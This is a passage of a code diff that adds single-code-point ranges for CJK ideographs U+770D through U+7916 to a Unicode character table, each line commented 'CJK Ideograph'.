+ ["\u770D", "\u770D"], /* CJK Ideograph */
+ ["\u770E", "\u770E"], /* CJK Ideograph */
+ ["\u770F", "\u770F"], /* CJK Ideograph */
+ ["\u7710", "\u7710"], /* CJK Ideograph */
+ ["\u7711", "\u7711"], /* CJK Ideograph */
+ ["\u7712", "\u7712"], /* CJK Ideograph */
+ ["\u7713", "\u7713"], /* CJK Ideograph */
+ ["\u7714", "\u7714"], /* CJK Ideograph */
+ ["\u7715", "\u7715"], /* CJK Ideograph */
+ ["\u7716", "\u7716"], /* CJK Ideograph */
+ ["\u7717", "\u7717"], /* CJK Ideograph */
+ ["\u7718", "\u7718"], /* CJK Ideograph */
+ ["\u7719", "\u7719"], /* CJK Ideograph */
+ ["\u771A", "\u771A"], /* CJK Ideograph */
+ ["\u771B", "\u771B"], /* CJK Ideograph */
+ ["\u771C", "\u771C"], /* CJK Ideograph */
+ ["\u771D", "\u771D"], /* CJK Ideograph */
+ ["\u771E", "\u771E"], /* CJK Ideograph */
+ ["\u771F", "\u771F"], /* CJK Ideograph */
+ ["\u7720", "\u7720"], /* CJK Ideograph */
+ ["\u7721", "\u7721"], /* CJK Ideograph */
+ ["\u7722", "\u7722"], /* CJK Ideograph */
+ ["\u7723", "\u7723"], /* CJK Ideograph */
+ ["\u7724", "\u7724"], /* CJK Ideograph */
+ ["\u7725", "\u7725"], /* CJK Ideograph */
+ ["\u7726", "\u7726"], /* CJK Ideograph */
+ ["\u7727", "\u7727"], /* CJK Ideograph */
+ ["\u7728", "\u7728"], /* CJK Ideograph */
+ ["\u7729", "\u7729"], /* CJK Ideograph */
+ ["\u772A", "\u772A"], /* CJK Ideograph */
+ ["\u772B", "\u772B"], /* CJK Ideograph */
+ ["\u772C", "\u772C"], /* CJK Ideograph */
+ ["\u772D", "\u772D"], /* CJK Ideograph */
+ ["\u772E", "\u772E"], /* CJK Ideograph */
+ ["\u772F", "\u772F"], /* CJK Ideograph */
+ ["\u7730", "\u7730"], /* CJK Ideograph */
+ ["\u7731", "\u7731"], /* CJK Ideograph */
+ ["\u7732", "\u7732"], /* CJK Ideograph */
+ ["\u7733", "\u7733"], /* CJK Ideograph */
+ ["\u7734", "\u7734"], /* CJK Ideograph */
+ ["\u7735", "\u7735"], /* CJK Ideograph */
+ ["\u7736", "\u7736"], /* CJK Ideograph */
+ ["\u7737", "\u7737"], /* CJK Ideograph */
+ ["\u7738", "\u7738"], /* CJK Ideograph */
+ ["\u7739", "\u7739"], /* CJK Ideograph */
+ ["\u773A", "\u773A"], /* CJK Ideograph */
+ ["\u773B", "\u773B"], /* CJK Ideograph */
+ ["\u773C", "\u773C"], /* CJK Ideograph */
+ ["\u773D", "\u773D"], /* CJK Ideograph */
+ ["\u773E", "\u773E"], /* CJK Ideograph */
+ ["\u773F", "\u773F"], /* CJK Ideograph */
+ ["\u7740", "\u7740"], /* CJK Ideograph */
+ ["\u7741", "\u7741"], /* CJK Ideograph */
+ ["\u7742", "\u7742"], /* CJK Ideograph */
+ ["\u7743", "\u7743"], /* CJK Ideograph */
+ ["\u7744", "\u7744"], /* CJK Ideograph */
+ ["\u7745", "\u7745"], /* CJK Ideograph */
+ ["\u7746", "\u7746"], /* CJK Ideograph */
+ ["\u7747", "\u7747"], /* CJK Ideograph */
+ ["\u7748", "\u7748"], /* CJK Ideograph */
+ ["\u7749", "\u7749"], /* CJK Ideograph */
+ ["\u774A", "\u774A"], /* CJK Ideograph */
+ ["\u774B", "\u774B"], /* CJK Ideograph */
+ ["\u774C", "\u774C"], /* CJK Ideograph */
+ ["\u774D", "\u774D"], /* CJK Ideograph */
+ ["\u774E", "\u774E"], /* CJK Ideograph */
+ ["\u774F", "\u774F"], /* CJK Ideograph */
+ ["\u7750", "\u7750"], /* CJK Ideograph */
+ ["\u7751", "\u7751"], /* CJK Ideograph */
+ ["\u7752", "\u7752"], /* CJK Ideograph */
+ ["\u7753", "\u7753"], /* CJK Ideograph */
+ ["\u7754", "\u7754"], /* CJK Ideograph */
+ ["\u7755", "\u7755"], /* CJK Ideograph */
+ ["\u7756", "\u7756"], /* CJK Ideograph */
+ ["\u7757", "\u7757"], /* CJK Ideograph */
+ ["\u7758", "\u7758"], /* CJK Ideograph */
+ ["\u7759", "\u7759"], /* CJK Ideograph */
+ ["\u775A", "\u775A"], /* CJK Ideograph */
+ ["\u775B", "\u775B"], /* CJK Ideograph */
+ ["\u775C", "\u775C"], /* CJK Ideograph */
+ ["\u775D", "\u775D"], /* CJK Ideograph */
+ ["\u775E", "\u775E"], /* CJK Ideograph */
+ ["\u775F", "\u775F"], /* CJK Ideograph */
+ ["\u7760", "\u7760"], /* CJK Ideograph */
+ ["\u7761", "\u7761"], /* CJK Ideograph */
+ ["\u7762", "\u7762"], /* CJK Ideograph */
+ ["\u7763", "\u7763"], /* CJK Ideograph */
+ ["\u7764", "\u7764"], /* CJK Ideograph */
+ ["\u7765", "\u7765"], /* CJK Ideograph */
+ ["\u7766", "\u7766"], /* CJK Ideograph */
+ ["\u7767", "\u7767"], /* CJK Ideograph */
+ ["\u7768", "\u7768"], /* CJK Ideograph */
+ ["\u7769", "\u7769"], /* CJK Ideograph */
+ ["\u776A", "\u776A"], /* CJK Ideograph */
+ ["\u776B", "\u776B"], /* CJK Ideograph */
+ ["\u776C", "\u776C"], /* CJK Ideograph */
+ ["\u776D", "\u776D"], /* CJK Ideograph */
+ ["\u776E", "\u776E"], /* CJK Ideograph */
+ ["\u776F", "\u776F"], /* CJK Ideograph */
+ ["\u7770", "\u7770"], /* CJK Ideograph */
+ ["\u7771", "\u7771"], /* CJK Ideograph */
+ ["\u7772", "\u7772"], /* CJK Ideograph */
+ ["\u7773", "\u7773"], /* CJK Ideograph */
+ ["\u7774", "\u7774"], /* CJK Ideograph */
+ ["\u7775", "\u7775"], /* CJK Ideograph */
+ ["\u7776", "\u7776"], /* CJK Ideograph */
+ ["\u7777", "\u7777"], /* CJK Ideograph */
+ ["\u7778", "\u7778"], /* CJK Ideograph */
+ ["\u7779", "\u7779"], /* CJK Ideograph */
+ ["\u777A", "\u777A"], /* CJK Ideograph */
+ ["\u777B", "\u777B"], /* CJK Ideograph */
+ ["\u777C", "\u777C"], /* CJK Ideograph */
+ ["\u777D", "\u777D"], /* CJK Ideograph */
+ ["\u777E", "\u777E"], /* CJK Ideograph */
+ ["\u777F", "\u777F"], /* CJK Ideograph */
+ ["\u7780", "\u7780"], /* CJK Ideograph */
+ ["\u7781", "\u7781"], /* CJK Ideograph */
+ ["\u7782", "\u7782"], /* CJK Ideograph */
+ ["\u7783", "\u7783"], /* CJK Ideograph */
+ ["\u7784", "\u7784"], /* CJK Ideograph */
+ ["\u7785", "\u7785"], /* CJK Ideograph */
+ ["\u7786", "\u7786"], /* CJK Ideograph */
+ ["\u7787", "\u7787"], /* CJK Ideograph */
+ ["\u7788", "\u7788"], /* CJK Ideograph */
+ ["\u7789", "\u7789"], /* CJK Ideograph */
+ ["\u778A", "\u778A"], /* CJK Ideograph */
+ ["\u778B", "\u778B"], /* CJK Ideograph */
+ ["\u778C", "\u778C"], /* CJK Ideograph */
+ ["\u778D", "\u778D"], /* CJK Ideograph */
+ ["\u778E", "\u778E"], /* CJK Ideograph */
+ ["\u778F", "\u778F"], /* CJK Ideograph */
+ ["\u7790", "\u7790"], /* CJK Ideograph */
+ ["\u7791", "\u7791"], /* CJK Ideograph */
+ ["\u7792", "\u7792"], /* CJK Ideograph */
+ ["\u7793", "\u7793"], /* CJK Ideograph */
+ ["\u7794", "\u7794"], /* CJK Ideograph */
+ ["\u7795", "\u7795"], /* CJK Ideograph */
+ ["\u7796", "\u7796"], /* CJK Ideograph */
+ ["\u7797", "\u7797"], /* CJK Ideograph */
+ ["\u7798", "\u7798"], /* CJK Ideograph */
+ ["\u7799", "\u7799"], /* CJK Ideograph */
+ ["\u779A", "\u779A"], /* CJK Ideograph */
+ ["\u779B", "\u779B"], /* CJK Ideograph */
+ ["\u779C", "\u779C"], /* CJK Ideograph */
+ ["\u779D", "\u779D"], /* CJK Ideograph */
+ ["\u779E", "\u779E"], /* CJK Ideograph */
+ ["\u779F", "\u779F"], /* CJK Ideograph */
+ ["\u77A0", "\u77A0"], /* CJK Ideograph */
+ ["\u77A1", "\u77A1"], /* CJK Ideograph */
+ ["\u77A2", "\u77A2"], /* CJK Ideograph */
+ ["\u77A3", "\u77A3"], /* CJK Ideograph */
+ ["\u77A4", "\u77A4"], /* CJK Ideograph */
+ ["\u77A5", "\u77A5"], /* CJK Ideograph */
+ ["\u77A6", "\u77A6"], /* CJK Ideograph */
+ ["\u77A7", "\u77A7"], /* CJK Ideograph */
+ ["\u77A8", "\u77A8"], /* CJK Ideograph */
+ ["\u77A9", "\u77A9"], /* CJK Ideograph */
+ ["\u77AA", "\u77AA"], /* CJK Ideograph */
+ ["\u77AB", "\u77AB"], /* CJK Ideograph */
+ ["\u77AC", "\u77AC"], /* CJK Ideograph */
+ ["\u77AD", "\u77AD"], /* CJK Ideograph */
+ ["\u77AE", "\u77AE"], /* CJK Ideograph */
+ ["\u77AF", "\u77AF"], /* CJK Ideograph */
+ ["\u77B0", "\u77B0"], /* CJK Ideograph */
+ ["\u77B1", "\u77B1"], /* CJK Ideograph */
+ ["\u77B2", "\u77B2"], /* CJK Ideograph */
+ ["\u77B3", "\u77B3"], /* CJK Ideograph */
+ ["\u77B4", "\u77B4"], /* CJK Ideograph */
+ ["\u77B5", "\u77B5"], /* CJK Ideograph */
+ ["\u77B6", "\u77B6"], /* CJK Ideograph */
+ ["\u77B7", "\u77B7"], /* CJK Ideograph */
+ ["\u77B8", "\u77B8"], /* CJK Ideograph */
+ ["\u77B9", "\u77B9"], /* CJK Ideograph */
+ ["\u77BA", "\u77BA"], /* CJK Ideograph */
+ ["\u77BB", "\u77BB"], /* CJK Ideograph */
+ ["\u77BC", "\u77BC"], /* CJK Ideograph */
+ ["\u77BD", "\u77BD"], /* CJK Ideograph */
+ ["\u77BE", "\u77BE"], /* CJK Ideograph */
+ ["\u77BF", "\u77BF"], /* CJK Ideograph */
+ ["\u77C0", "\u77C0"], /* CJK Ideograph */
+ ["\u77C1", "\u77C1"], /* CJK Ideograph */
+ ["\u77C2", "\u77C2"], /* CJK Ideograph */
+ ["\u77C3", "\u77C3"], /* CJK Ideograph */
+ ["\u77C4", "\u77C4"], /* CJK Ideograph */
+ ["\u77C5", "\u77C5"], /* CJK Ideograph */
+ ["\u77C6", "\u77C6"], /* CJK Ideograph */
+ ["\u77C7", "\u77C7"], /* CJK Ideograph */
+ ["\u77C8", "\u77C8"], /* CJK Ideograph */
+ ["\u77C9", "\u77C9"], /* CJK Ideograph */
+ ["\u77CA", "\u77CA"], /* CJK Ideograph */
+ ["\u77CB", "\u77CB"], /* CJK Ideograph */
+ ["\u77CC", "\u77CC"], /* CJK Ideograph */
+ ["\u77CD", "\u77CD"], /* CJK Ideograph */
+ ["\u77CE", "\u77CE"], /* CJK Ideograph */
+ ["\u77CF", "\u77CF"], /* CJK Ideograph */
+ ["\u77D0", "\u77D0"], /* CJK Ideograph */
+ ["\u77D1", "\u77D1"], /* CJK Ideograph */
+ ["\u77D2", "\u77D2"], /* CJK Ideograph */
+ ["\u77D3", "\u77D3"], /* CJK Ideograph */
+ ["\u77D4", "\u77D4"], /* CJK Ideograph */
+ ["\u77D5", "\u77D5"], /* CJK Ideograph */
+ ["\u77D6", "\u77D6"], /* CJK Ideograph */
+ ["\u77D7", "\u77D7"], /* CJK Ideograph */
+ ["\u77D8", "\u77D8"], /* CJK Ideograph */
+ ["\u77D9", "\u77D9"], /* CJK Ideograph */
+ ["\u77DA", "\u77DA"], /* CJK Ideograph */
+ ["\u77DB", "\u77DB"], /* CJK Ideograph */
+ ["\u77DC", "\u77DC"], /* CJK Ideograph */
+ ["\u77DD", "\u77DD"], /* CJK Ideograph */
+ ["\u77DE", "\u77DE"], /* CJK Ideograph */
+ ["\u77DF", "\u77DF"], /* CJK Ideograph */
+ ["\u77E0", "\u77E0"], /* CJK Ideograph */
+ ["\u77E1", "\u77E1"], /* CJK Ideograph */
+ ["\u77E2", "\u77E2"], /* CJK Ideograph */
+ ["\u77E3", "\u77E3"], /* CJK Ideograph */
+ ["\u77E4", "\u77E4"], /* CJK Ideograph */
+ ["\u77E5", "\u77E5"], /* CJK Ideograph */
+ ["\u77E6", "\u77E6"], /* CJK Ideograph */
+ ["\u77E7", "\u77E7"], /* CJK Ideograph */
+ ["\u77E8", "\u77E8"], /* CJK Ideograph */
+ ["\u77E9", "\u77E9"], /* CJK Ideograph */
+ ["\u77EA", "\u77EA"], /* CJK Ideograph */
+ ["\u77EB", "\u77EB"], /* CJK Ideograph */
+ ["\u77EC", "\u77EC"], /* CJK Ideograph */
+ ["\u77ED", "\u77ED"], /* CJK Ideograph */
+ ["\u77EE", "\u77EE"], /* CJK Ideograph */
+ ["\u77EF", "\u77EF"], /* CJK Ideograph */
+ ["\u77F0", "\u77F0"], /* CJK Ideograph */
+ ["\u77F1", "\u77F1"], /* CJK Ideograph */
+ ["\u77F2", "\u77F2"], /* CJK Ideograph */
+ ["\u77F3", "\u77F3"], /* CJK Ideograph */
+ ["\u77F4", "\u77F4"], /* CJK Ideograph */
+ ["\u77F5", "\u77F5"], /* CJK Ideograph */
+ ["\u77F6", "\u77F6"], /* CJK Ideograph */
+ ["\u77F7", "\u77F7"], /* CJK Ideograph */
+ ["\u77F8", "\u77F8"], /* CJK Ideograph */
+ ["\u77F9", "\u77F9"], /* CJK Ideograph */
+ ["\u77FA", "\u77FA"], /* CJK Ideograph */
+ ["\u77FB", "\u77FB"], /* CJK Ideograph */
+ ["\u77FC", "\u77FC"], /* CJK Ideograph */
+ ["\u77FD", "\u77FD"], /* CJK Ideograph */
+ ["\u77FE", "\u77FE"], /* CJK Ideograph */
+ ["\u77FF", "\u77FF"], /* CJK Ideograph */
+ ["\u7800", "\u7800"], /* CJK Ideograph */
+ ["\u7801", "\u7801"], /* CJK Ideograph */
+ ["\u7802", "\u7802"], /* CJK Ideograph */
+ ["\u7803", "\u7803"], /* CJK Ideograph */
+ ["\u7804", "\u7804"], /* CJK Ideograph */
+ ["\u7805", "\u7805"], /* CJK Ideograph */
+ ["\u7806", "\u7806"], /* CJK Ideograph */
+ ["\u7807", "\u7807"], /* CJK Ideograph */
+ ["\u7808", "\u7808"], /* CJK Ideograph */
+ ["\u7809", "\u7809"], /* CJK Ideograph */
+ ["\u780A", "\u780A"], /* CJK Ideograph */
+ ["\u780B", "\u780B"], /* CJK Ideograph */
+ ["\u780C", "\u780C"], /* CJK Ideograph */
+ ["\u780D", "\u780D"], /* CJK Ideograph */
+ ["\u780E", "\u780E"], /* CJK Ideograph */
+ ["\u780F", "\u780F"], /* CJK Ideograph */
+ ["\u7810", "\u7810"], /* CJK Ideograph */
+ ["\u7811", "\u7811"], /* CJK Ideograph */
+ ["\u7812", "\u7812"], /* CJK Ideograph */
+ ["\u7813", "\u7813"], /* CJK Ideograph */
+ ["\u7814", "\u7814"], /* CJK Ideograph */
+ ["\u7815", "\u7815"], /* CJK Ideograph */
+ ["\u7816", "\u7816"], /* CJK Ideograph */
+ ["\u7817", "\u7817"], /* CJK Ideograph */
+ ["\u7818", "\u7818"], /* CJK Ideograph */
+ ["\u7819", "\u7819"], /* CJK Ideograph */
+ ["\u781A", "\u781A"], /* CJK Ideograph */
+ ["\u781B", "\u781B"], /* CJK Ideograph */
+ ["\u781C", "\u781C"], /* CJK Ideograph */
+ ["\u781D", "\u781D"], /* CJK Ideograph */
+ ["\u781E", "\u781E"], /* CJK Ideograph */
+ ["\u781F", "\u781F"], /* CJK Ideograph */
+ ["\u7820", "\u7820"], /* CJK Ideograph */
+ ["\u7821", "\u7821"], /* CJK Ideograph */
+ ["\u7822", "\u7822"], /* CJK Ideograph */
+ ["\u7823", "\u7823"], /* CJK Ideograph */
+ ["\u7824", "\u7824"], /* CJK Ideograph */
+ ["\u7825", "\u7825"], /* CJK Ideograph */
+ ["\u7826", "\u7826"], /* CJK Ideograph */
+ ["\u7827", "\u7827"], /* CJK Ideograph */
+ ["\u7828", "\u7828"], /* CJK Ideograph */
+ ["\u7829", "\u7829"], /* CJK Ideograph */
+ ["\u782A", "\u782A"], /* CJK Ideograph */
+ ["\u782B", "\u782B"], /* CJK Ideograph */
+ ["\u782C", "\u782C"], /* CJK Ideograph */
+ ["\u782D", "\u782D"], /* CJK Ideograph */
+ ["\u782E", "\u782E"], /* CJK Ideograph */
+ ["\u782F", "\u782F"], /* CJK Ideograph */
+ ["\u7830", "\u7830"], /* CJK Ideograph */
+ ["\u7831", "\u7831"], /* CJK Ideograph */
+ ["\u7832", "\u7832"], /* CJK Ideograph */
+ ["\u7833", "\u7833"], /* CJK Ideograph */
+ ["\u7834", "\u7834"], /* CJK Ideograph */
+ ["\u7835", "\u7835"], /* CJK Ideograph */
+ ["\u7836", "\u7836"], /* CJK Ideograph */
+ ["\u7837", "\u7837"], /* CJK Ideograph */
+ ["\u7838", "\u7838"], /* CJK Ideograph */
+ ["\u7839", "\u7839"], /* CJK Ideograph */
+ ["\u783A", "\u783A"], /* CJK Ideograph */
+ ["\u783B", "\u783B"], /* CJK Ideograph */
+ ["\u783C", "\u783C"], /* CJK Ideograph */
+ ["\u783D", "\u783D"], /* CJK Ideograph */
+ ["\u783E", "\u783E"], /* CJK Ideograph */
+ ["\u783F", "\u783F"], /* CJK Ideograph */
+ ["\u7840", "\u7840"], /* CJK Ideograph */
+ ["\u7841", "\u7841"], /* CJK Ideograph */
+ ["\u7842", "\u7842"], /* CJK Ideograph */
+ ["\u7843", "\u7843"], /* CJK Ideograph */
+ ["\u7844", "\u7844"], /* CJK Ideograph */
+ ["\u7845", "\u7845"], /* CJK Ideograph */
+ ["\u7846", "\u7846"], /* CJK Ideograph */
+ ["\u7847", "\u7847"], /* CJK Ideograph */
+ ["\u7848", "\u7848"], /* CJK Ideograph */
+ ["\u7849", "\u7849"], /* CJK Ideograph */
+ ["\u784A", "\u784A"], /* CJK Ideograph */
+ ["\u784B", "\u784B"], /* CJK Ideograph */
+ ["\u784C", "\u784C"], /* CJK Ideograph */
+ ["\u784D", "\u784D"], /* CJK Ideograph */
+ ["\u784E", "\u784E"], /* CJK Ideograph */
+ ["\u784F", "\u784F"], /* CJK Ideograph */
+ ["\u7850", "\u7850"], /* CJK Ideograph */
+ ["\u7851", "\u7851"], /* CJK Ideograph */
+ ["\u7852", "\u7852"], /* CJK Ideograph */
+ ["\u7853", "\u7853"], /* CJK Ideograph */
+ ["\u7854", "\u7854"], /* CJK Ideograph */
+ ["\u7855", "\u7855"], /* CJK Ideograph */
+ ["\u7856", "\u7856"], /* CJK Ideograph */
+ ["\u7857", "\u7857"], /* CJK Ideograph */
+ ["\u7858", "\u7858"], /* CJK Ideograph */
+ ["\u7859", "\u7859"], /* CJK Ideograph */
+ ["\u785A", "\u785A"], /* CJK Ideograph */
+ ["\u785B", "\u785B"], /* CJK Ideograph */
+ ["\u785C", "\u785C"], /* CJK Ideograph */
+ ["\u785D", "\u785D"], /* CJK Ideograph */
+ ["\u785E", "\u785E"], /* CJK Ideograph */
+ ["\u785F", "\u785F"], /* CJK Ideograph */
+ ["\u7860", "\u7860"], /* CJK Ideograph */
+ ["\u7861", "\u7861"], /* CJK Ideograph */
+ ["\u7862", "\u7862"], /* CJK Ideograph */
+ ["\u7863", "\u7863"], /* CJK Ideograph */
+ ["\u7864", "\u7864"], /* CJK Ideograph */
+ ["\u7865", "\u7865"], /* CJK Ideograph */
+ ["\u7866", "\u7866"], /* CJK Ideograph */
+ ["\u7867", "\u7867"], /* CJK Ideograph */
+ ["\u7868", "\u7868"], /* CJK Ideograph */
+ ["\u7869", "\u7869"], /* CJK Ideograph */
+ ["\u786A", "\u786A"], /* CJK Ideograph */
+ ["\u786B", "\u786B"], /* CJK Ideograph */
+ ["\u786C", "\u786C"], /* CJK Ideograph */
+ ["\u786D", "\u786D"], /* CJK Ideograph */
+ ["\u786E", "\u786E"], /* CJK Ideograph */
+ ["\u786F", "\u786F"], /* CJK Ideograph */
+ ["\u7870", "\u7870"], /* CJK Ideograph */
+ ["\u7871", "\u7871"], /* CJK Ideograph */
+ ["\u7872", "\u7872"], /* CJK Ideograph */
+ ["\u7873", "\u7873"], /* CJK Ideograph */
+ ["\u7874", "\u7874"], /* CJK Ideograph */
+ ["\u7875", "\u7875"], /* CJK Ideograph */
+ ["\u7876", "\u7876"], /* CJK Ideograph */
+ ["\u7877", "\u7877"], /* CJK Ideograph */
+ ["\u7878", "\u7878"], /* CJK Ideograph */
+ ["\u7879", "\u7879"], /* CJK Ideograph */
+ ["\u787A", "\u787A"], /* CJK Ideograph */
+ ["\u787B", "\u787B"], /* CJK Ideograph */
+ ["\u787C", "\u787C"], /* CJK Ideograph */
+ ["\u787D", "\u787D"], /* CJK Ideograph */
+ ["\u787E", "\u787E"], /* CJK Ideograph */
+ ["\u787F", "\u787F"], /* CJK Ideograph */
+ ["\u7880", "\u7880"], /* CJK Ideograph */
+ ["\u7881", "\u7881"], /* CJK Ideograph */
+ ["\u7882", "\u7882"], /* CJK Ideograph */
+ ["\u7883", "\u7883"], /* CJK Ideograph */
+ ["\u7884", "\u7884"], /* CJK Ideograph */
+ ["\u7885", "\u7885"], /* CJK Ideograph */
+ ["\u7886", "\u7886"], /* CJK Ideograph */
+ ["\u7887", "\u7887"], /* CJK Ideograph */
+ ["\u7888", "\u7888"], /* CJK Ideograph */
+ ["\u7889", "\u7889"], /* CJK Ideograph */
+ ["\u788A", "\u788A"], /* CJK Ideograph */
+ ["\u788B", "\u788B"], /* CJK Ideograph */
+ ["\u788C", "\u788C"], /* CJK Ideograph */
+ ["\u788D", "\u788D"], /* CJK Ideograph */
+ ["\u788E", "\u788E"], /* CJK Ideograph */
+ ["\u788F", "\u788F"], /* CJK Ideograph */
+ ["\u7890", "\u7890"], /* CJK Ideograph */
+ ["\u7891", "\u7891"], /* CJK Ideograph */
+ ["\u7892", "\u7892"], /* CJK Ideograph */
+ ["\u7893", "\u7893"], /* CJK Ideograph */
+ ["\u7894", "\u7894"], /* CJK Ideograph */
+ ["\u7895", "\u7895"], /* CJK Ideograph */
+ ["\u7896", "\u7896"], /* CJK Ideograph */
+ ["\u7897", "\u7897"], /* CJK Ideograph */
+ ["\u7898", "\u7898"], /* CJK Ideograph */
+ ["\u7899", "\u7899"], /* CJK Ideograph */
+ ["\u789A", "\u789A"], /* CJK Ideograph */
+ ["\u789B", "\u789B"], /* CJK Ideograph */
+ ["\u789C", "\u789C"], /* CJK Ideograph */
+ ["\u789D", "\u789D"], /* CJK Ideograph */
+ ["\u789E", "\u789E"], /* CJK Ideograph */
+ ["\u789F", "\u789F"], /* CJK Ideograph */
+ ["\u78A0", "\u78A0"], /* CJK Ideograph */
+ ["\u78A1", "\u78A1"], /* CJK Ideograph */
+ ["\u78A2", "\u78A2"], /* CJK Ideograph */
+ ["\u78A3", "\u78A3"], /* CJK Ideograph */
+ ["\u78A4", "\u78A4"], /* CJK Ideograph */
+ ["\u78A5", "\u78A5"], /* CJK Ideograph */
+ ["\u78A6", "\u78A6"], /* CJK Ideograph */
+ ["\u78A7", "\u78A7"], /* CJK Ideograph */
+ ["\u78A8", "\u78A8"], /* CJK Ideograph */
+ ["\u78A9", "\u78A9"], /* CJK Ideograph */
+ ["\u78AA", "\u78AA"], /* CJK Ideograph */
+ ["\u78AB", "\u78AB"], /* CJK Ideograph */
+ ["\u78AC", "\u78AC"], /* CJK Ideograph */
+ ["\u78AD", "\u78AD"], /* CJK Ideograph */
+ ["\u78AE", "\u78AE"], /* CJK Ideograph */
+ ["\u78AF", "\u78AF"], /* CJK Ideograph */
+ ["\u78B0", "\u78B0"], /* CJK Ideograph */
+ ["\u78B1", "\u78B1"], /* CJK Ideograph */
+ ["\u78B2", "\u78B2"], /* CJK Ideograph */
+ ["\u78B3", "\u78B3"], /* CJK Ideograph */
+ ["\u78B4", "\u78B4"], /* CJK Ideograph */
+ ["\u78B5", "\u78B5"], /* CJK Ideograph */
+ ["\u78B6", "\u78B6"], /* CJK Ideograph */
+ ["\u78B7", "\u78B7"], /* CJK Ideograph */
+ ["\u78B8", "\u78B8"], /* CJK Ideograph */
+ ["\u78B9", "\u78B9"], /* CJK Ideograph */
+ ["\u78BA", "\u78BA"], /* CJK Ideograph */
+ ["\u78BB", "\u78BB"], /* CJK Ideograph */
+ ["\u78BC", "\u78BC"], /* CJK Ideograph */
+ ["\u78BD", "\u78BD"], /* CJK Ideograph */
+ ["\u78BE", "\u78BE"], /* CJK Ideograph */
+ ["\u78BF", "\u78BF"], /* CJK Ideograph */
+ ["\u78C0", "\u78C0"], /* CJK Ideograph */
+ ["\u78C1", "\u78C1"], /* CJK Ideograph */
+ ["\u78C2", "\u78C2"], /* CJK Ideograph */
+ ["\u78C3", "\u78C3"], /* CJK Ideograph */
+ ["\u78C4", "\u78C4"], /* CJK Ideograph */
+ ["\u78C5", "\u78C5"], /* CJK Ideograph */
+ ["\u78C6", "\u78C6"], /* CJK Ideograph */
+ ["\u78C7", "\u78C7"], /* CJK Ideograph */
+ ["\u78C8", "\u78C8"], /* CJK Ideograph */
+ ["\u78C9", "\u78C9"], /* CJK Ideograph */
+ ["\u78CA", "\u78CA"], /* CJK Ideograph */
+ ["\u78CB", "\u78CB"], /* CJK Ideograph */
+ ["\u78CC", "\u78CC"], /* CJK Ideograph */
+ ["\u78CD", "\u78CD"], /* CJK Ideograph */
+ ["\u78CE", "\u78CE"], /* CJK Ideograph */
+ ["\u78CF", "\u78CF"], /* CJK Ideograph */
+ ["\u78D0", "\u78D0"], /* CJK Ideograph */
+ ["\u78D1", "\u78D1"], /* CJK Ideograph */
+ ["\u78D2", "\u78D2"], /* CJK Ideograph */
+ ["\u78D3", "\u78D3"], /* CJK Ideograph */
+ ["\u78D4", "\u78D4"], /* CJK Ideograph */
+ ["\u78D5", "\u78D5"], /* CJK Ideograph */
+ ["\u78D6", "\u78D6"], /* CJK Ideograph */
+ ["\u78D7", "\u78D7"], /* CJK Ideograph */
+ ["\u78D8", "\u78D8"], /* CJK Ideograph */
+ ["\u78D9", "\u78D9"], /* CJK Ideograph */
+ ["\u78DA", "\u78DA"], /* CJK Ideograph */
+ ["\u78DB", "\u78DB"], /* CJK Ideograph */
+ ["\u78DC", "\u78DC"], /* CJK Ideograph */
+ ["\u78DD", "\u78DD"], /* CJK Ideograph */
+ ["\u78DE", "\u78DE"], /* CJK Ideograph */
+ ["\u78DF", "\u78DF"], /* CJK Ideograph */
+ ["\u78E0", "\u78E0"], /* CJK Ideograph */
+ ["\u78E1", "\u78E1"], /* CJK Ideograph */
+ ["\u78E2", "\u78E2"], /* CJK Ideograph */
+ ["\u78E3", "\u78E3"], /* CJK Ideograph */
+ ["\u78E4", "\u78E4"], /* CJK Ideograph */
+ ["\u78E5", "\u78E5"], /* CJK Ideograph */
+ ["\u78E6", "\u78E6"], /* CJK Ideograph */
+ ["\u78E7", "\u78E7"], /* CJK Ideograph */
+ ["\u78E8", "\u78E8"], /* CJK Ideograph */
+ ["\u78E9", "\u78E9"], /* CJK Ideograph */
+ ["\u78EA", "\u78EA"], /* CJK Ideograph */
+ ["\u78EB", "\u78EB"], /* CJK Ideograph */
+ ["\u78EC", "\u78EC"], /* CJK Ideograph */
+ ["\u78ED", "\u78ED"], /* CJK Ideograph */
+ ["\u78EE", "\u78EE"], /* CJK Ideograph */
+ ["\u78EF", "\u78EF"], /* CJK Ideograph */
+ ["\u78F0", "\u78F0"], /* CJK Ideograph */
+ ["\u78F1", "\u78F1"], /* CJK Ideograph */
+ ["\u78F2", "\u78F2"], /* CJK Ideograph */
+ ["\u78F3", "\u78F3"], /* CJK Ideograph */
+ ["\u78F4", "\u78F4"], /* CJK Ideograph */
+ ["\u78F5", "\u78F5"], /* CJK Ideograph */
+ ["\u78F6", "\u78F6"], /* CJK Ideograph */
+ ["\u78F7", "\u78F7"], /* CJK Ideograph */
+ ["\u78F8", "\u78F8"], /* CJK Ideograph */
+ ["\u78F9", "\u78F9"], /* CJK Ideograph */
+ ["\u78FA", "\u78FA"], /* CJK Ideograph */
+ ["\u78FB", "\u78FB"], /* CJK Ideograph */
+ ["\u78FC", "\u78FC"], /* CJK Ideograph */
+ ["\u78FD", "\u78FD"], /* CJK Ideograph */
+ ["\u78FE", "\u78FE"], /* CJK Ideograph */
+ ["\u78FF", "\u78FF"], /* CJK Ideograph */
+ ["\u7900", "\u7900"], /* CJK Ideograph */
+ ["\u7901", "\u7901"], /* CJK Ideograph */
+ ["\u7902", "\u7902"], /* CJK Ideograph */
+ ["\u7903", "\u7903"], /* CJK Ideograph */
+ ["\u7904", "\u7904"], /* CJK Ideograph */
+ ["\u7905", "\u7905"], /* CJK Ideograph */
+ ["\u7906", "\u7906"], /* CJK Ideograph */
+ ["\u7907", "\u7907"], /* CJK Ideograph */
+ ["\u7908", "\u7908"], /* CJK Ideograph */
+ ["\u7909", "\u7909"], /* CJK Ideograph */
+ ["\u790A", "\u790A"], /* CJK Ideograph */
+ ["\u790B", "\u790B"], /* CJK Ideograph */
+ ["\u790C", "\u790C"], /* CJK Ideograph */
+ ["\u790D", "\u790D"], /* CJK Ideograph */
+ ["\u790E", "\u790E"], /* CJK Ideograph */
+ ["\u790F", "\u790F"], /* CJK Ideograph */
+ ["\u7910", "\u7910"], /* CJK Ideograph */
+ ["\u7911", "\u7911"], /* CJK Ideograph */
+ ["\u7912", "\u7912"], /* CJK Ideograph */
+ ["\u7913", "\u7913"], /* CJK Ideograph */
+ ["\u7914", "\u7914"], /* CJK Ideograph */
+ ["\u7915", "\u7915"], /* CJK Ideograph */
+ ["\u7916", "\u7916"], /* CJK Ideograph */
